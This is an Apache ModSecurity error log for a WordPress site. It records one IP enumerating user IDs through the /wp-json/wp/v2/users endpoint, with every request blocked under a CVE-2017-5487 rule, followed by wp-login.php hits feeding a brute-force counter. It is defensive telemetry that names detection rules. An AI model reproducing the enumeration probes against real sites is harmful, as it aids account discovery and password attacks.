[Sun Jan 18 21:49:43.787815 2026] [:error] [pid 33494:tid 33522] [client 107.189.29.166:48320] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/20"] [unique_id "aWzk97xmLR_50TtKxDI3CgAAARg"]
[Sun Jan 18 21:50:43.804662 2026] [:error] [pid 11711:tid 11807] [client 107.189.29.166:5701] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/21"] [unique_id "aWzlM-tTMvs-MBCRKgc5qwAAA0w"]
[Sun Jan 18 21:51:14.778761 2026] [:error] [pid 12925:tid 12999] [client 107.189.29.166:16645] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/22"] [unique_id "aWzlUvsBL-4pnmSbzihrkQAAAIs"]
[Sun Jan 18 21:51:44.068921 2026] [:error] [pid 11620:tid 11646] [client 107.189.29.166:37367] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/23"] [unique_id "aWzlcGCcXLNx7aML8kE5ewAAAdc"]
[Sun Jan 18 21:51:59.647390 2026] [:error] [pid 12923:tid 12948] [client 107.189.29.166:42789] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/24"] [unique_id "aWzlf-sWURrrC-4Rx5Kd7wAAABA"]
[Sun Jan 18 21:52:22.677883 2026] [:error] [pid 11710:tid 11773] [client 107.189.29.166:8842] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/25"] [unique_id "aWzllmCouWwzZ0YcmFZkTwAAAwU"]
[Sun Jan 18 21:52:51.240767 2026] [:error] [pid 11620:tid 11645] [client 107.189.29.166:60575] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/26"] [unique_id "aWzls2CcXLNx7aML8kE5pwAAAdY"]
[Sun Jan 18 21:53:22.824124 2026] [:error] [pid 37885:tid 37888] [client 107.189.29.166:10407] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/27"] [unique_id "aWzl0oIjOL7XA82H72WnqwAAAUA"]
[Sun Jan 18 21:53:37.779077 2026] [:error] [pid 33494:tid 33505] [client 107.189.29.166:15160] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/28"] [unique_id "aWzl4bxmLR_50TtKxDI3awAAAQc"]
[Sun Jan 18 21:54:17.262382 2026] [:error] [pid 11650:tid 11672] [client 107.189.29.166:57965] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/29"] [unique_id "aWzmCUJ_hGOO27rOLtGb6wAAAhI"]
[Sun Jan 18 21:54:42.975478 2026] [:error] [pid 11650:tid 11658] [client 107.189.29.166:2037] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/30"] [unique_id "aWzmIkJ_hGOO27rOLtGb9gAAAgU"]
[Sun Jan 18 21:55:04.465932 2026] [:error] [pid 11710:tid 11783] [client 107.189.29.166:57845] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/31"] [unique_id "aWzmOGCouWwzZ0YcmFZlBwAAAw8"]
[Sun Jan 18 21:55:38.458395 2026] [:error] [pid 12923:tid 12956] [client 107.189.29.166:4916] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/32"] [unique_id "aWzmWusWURrrC-4Rx5KeVAAAABg"]
[Sun Jan 18 21:56:08.450437 2026] [:error] [pid 13034:tid 13054] [client 107.189.29.166:34411] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/33"] [unique_id "aWzmeMRGpUu1E8cmbmi11QAAANA"]
[Sun Jan 18 21:56:32.906437 2026] [:error] [pid 11650:tid 11658] [client 107.189.29.166:64260] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/34"] [unique_id "aWzmkEJ_hGOO27rOLtGcNgAAAgU"]
[Sun Jan 18 21:57:02.161514 2026] [:error] [pid 11711:tid 11796] [client 107.189.29.166:10766] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/35"] [unique_id "aWzmrutTMvs-MBCRKgc7UgAAA0E"]
[Sun Jan 18 21:57:24.851072 2026] [:error] [pid 11711:tid 11815] [client 107.189.29.166:34850] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/36"] [unique_id "aWzmxOtTMvs-MBCRKgc7ewAAA1Q"]
[Sun Jan 18 21:58:17.844996 2026] [:error] [pid 11710:tid 11769] [client 107.189.29.166:59083] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/37"] [unique_id "aWzm-WCouWwzZ0YcmFZlngAAAwE"]
[Sun Jan 18 21:58:48.906955 2026] [:error] [pid 37885:tid 37891] [client 107.189.29.166:6439] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/38"] [unique_id "aWznGIIjOL7XA82H72WoWwAAAUM"]
[Sun Jan 18 21:59:38.676478 2026] [:error] [pid 7225:tid 7246] [client 107.189.29.166:19146] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/39"] [unique_id "aWznSherEBx_0YV4eGM-qwAAAZM"]
[Sun Jan 18 22:00:28.001723 2026] [:error] [pid 7225:tid 7231] [client 107.189.29.166:32456] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/40"] [unique_id "aWznexerEBx_0YV4eGM-xQAAAYQ"]
[Sun Jan 18 22:00:59.003288 2026] [:error] [pid 7225:tid 7251] [client 107.189.29.166:36573] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/41"] [unique_id "aWznmxerEBx_0YV4eGM-2wAAAZg"]
[Sun Jan 18 22:01:24.456692 2026] [:error] [pid 11711:tid 11813] [client 107.189.29.166:54514] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/42"] [unique_id "aWzntOtTMvs-MBCRKgc8igAAA1I"]
[Sun Jan 18 22:01:40.336250 2026] [:error] [pid 11650:tid 11663] [client 107.189.29.166:60496] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/43"] [unique_id "aWznxEJ_hGOO27rOLtGdkAAAAgk"]
[Sun Jan 18 22:02:11.447646 2026] [:error] [pid 11711:tid 11798] [client 107.189.29.166:6810] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/44"] [unique_id "aWzn4-tTMvs-MBCRKgc83wAAA0M"]
[Sun Jan 18 22:02:33.708051 2026] [:error] [pid 11711:tid 11815] [client 107.189.29.166:14713] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/45"] [unique_id "aWzn-etTMvs-MBCRKgc9BwAAA1Q"]
[Sun Jan 18 22:03:00.463147 2026] [:error] [pid 11650:tid 11666] [client 107.189.29.166:24133] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/46"] [unique_id "aWzoFEJ_hGOO27rOLtGeBAAAAgw"]
[Sun Jan 18 22:03:38.107520 2026] [:error] [pid 11711:tid 11805] [client 107.189.29.166:36559] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/47"] [unique_id "aWzoOutTMvs-MBCRKgc9VgAAA0o"]
[Sun Jan 18 22:04:13.488664 2026] [:error] [pid 11620:tid 11633] [client 107.189.29.166:15715] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/48"] [unique_id "aWzoXWCcXLNx7aML8kE8OwAAAcs"]
[Sun Jan 18 22:04:56.279176 2026] [:error] [pid 11710:tid 11786] [client 107.189.29.166:31676] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/49"] [unique_id "aWzoiGCouWwzZ0YcmFZnFAAAAxI"]
[Sun Jan 18 22:05:24.006029 2026] [:error] [pid 12923:tid 12933] [client 107.189.29.166:63508] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/50"] [unique_id "aWzopOsWURrrC-4Rx5KflQAAAAE"]
[Sun Jan 18 22:05:46.625437 2026] [:error] [pid 11711:tid 11818] [client 107.189.29.166:56175] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/51"] [unique_id "aWzouutTMvs-MBCRKgc98QAAA1c"]
[Sun Jan 18 22:06:10.695236 2026] [:error] [pid 11711:tid 11796] [client 107.189.29.166:63554] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/52"] [unique_id "aWzo0utTMvs-MBCRKgc-CwAAA0E"]
[Sun Jan 18 22:06:34.985268 2026] [:error] [pid 7225:tid 7228] [client 107.189.29.166:10146] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/53"] [unique_id "aWzo6herEBx_0YV4eGM_hwAAAYE"]
[Sun Jan 18 22:06:47.712263 2026] [:error] [pid 11711:tid 11817] [client 107.189.29.166:14798] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/54"] [unique_id "aWzo9-tTMvs-MBCRKgc-TwAAA1Y"]
[Sun Jan 18 22:07:09.345208 2026] [:error] [pid 11650:tid 11665] [client 107.189.29.166:13765] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/55"] [unique_id "aWzpDUJ_hGOO27rOLtGeuAAAAgs"]
[Sun Jan 18 22:07:41.761234 2026] [:error] [pid 11711:tid 11814] [client 107.189.29.166:25908] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/56"] [unique_id "aWzpLetTMvs-MBCRKgc-rQAAA1M"]
[Sun Jan 18 22:07:54.163537 2026] [:error] [pid 11710:tid 11777] [client 107.189.29.166:29482] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/57"] [unique_id "aWzpOmCouWwzZ0YcmFZn7wAAAwk"]
[Sun Jan 18 22:08:28.615064 2026] [:error] [pid 11711:tid 11814] [client 107.189.29.166:41490] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/58"] [unique_id "aWzpXOtTMvs-MBCRKgc-6QAAA1M"]
[Sun Jan 18 22:09:14.704630 2026] [:error] [pid 11650:tid 11656] [client 107.189.29.166:57012] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/59"] [unique_id "aWzpikJ_hGOO27rOLtGfOAAAAgM"]
[Sun Jan 18 22:09:50.913232 2026] [:error] [pid 12923:tid 12934] [client 107.189.29.166:28405] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/60"] [unique_id "aWzprusWURrrC-4Rx5KgJwAAAAI"]
[Sun Jan 18 22:13:51.501545 2026] [:error] [pid 11711:tid 11819] [client 107.189.29.166:60854] [client 107.189.29.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.189.29.166, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWzqn-tTMvs-MBCRKgdAoAAAA1g"]
[Sun Jan 18 22:13:58.233117 2026] [:error] [pid 11711:tid 11803] [client 107.189.29.166:60854] [client 107.189.29.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.189.29.166, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWzqputTMvs-MBCRKgdAowAAA0g"]
[Sun Jan 18 22:15:23.019957 2026] [:error] [pid 37885:tid 37893] [client 107.189.29.166:19581] [client 107.189.29.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.189.29.166, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWzq-4IjOL7XA82H72WqxAAAAUU"], referer: http://www.google.com.hk
